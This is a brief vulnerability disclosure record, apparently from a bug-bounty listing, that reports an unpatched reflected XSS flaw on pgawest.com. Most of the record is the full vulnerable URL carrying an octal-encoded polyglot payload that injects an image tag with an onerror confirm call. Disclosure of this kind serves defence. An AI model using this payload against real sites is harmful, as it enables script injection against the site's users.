pgawest.com XSS vulnerability

Vulnerable URL: https://www.pgawest.com/club/scripts/view/viewdirections.asp?NS==60\74\41\47\57\52\42\57\52\134\47\57\52\134\42\57\52\55\55\76\74\57Script\76\74Img\40Src\751\40\52\57\73\40Onerror\75confirm\50OPENBBUGBOUNTY\51\57\57\76 Details: Description| Value ---|--- Patched:| No Latest check...